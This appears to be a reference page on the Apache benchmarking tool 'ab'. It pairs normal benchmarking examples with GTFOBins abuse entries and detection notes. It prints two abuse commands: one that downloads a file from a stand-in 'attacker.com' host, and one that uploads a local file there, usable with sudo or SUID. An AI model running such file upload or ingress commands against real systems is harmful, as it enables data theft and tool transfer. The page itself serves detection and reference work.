Identifier / Programs / Linux and Unix
ab
Apache HTTP server benchmarking tool. tldr-pages
GTFOBins download, upload 1 ATT&CK technique 2 documented commands
How ab is abused
download T1105 Ingress Tool Transfer
-v2upload
-pEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ab.
2 documented commands
download unprivileged, with sudo, as SUID
ab -v2 http://attacker.com/path/to/input-fileupload unprivileged, with sudo, as SUID
ab -p /path/to/input-file http://attacker.com/None of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ab. The identifier reads the line of each that runs ab.
What detects it
Everyday use
Execute 100 HTTP GET requests to a given URL
ab -n 100 urlIdentifyExecute 100 HTTP GET requests, in concurrent batches of 10, to a URL
ab -n 100 -c 10 urlIdentifyExecute 100 HTTP POST requests to a URL, using a JSON payload from a file
ab -n 100 -T application/json -p path/to/file.json urlIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.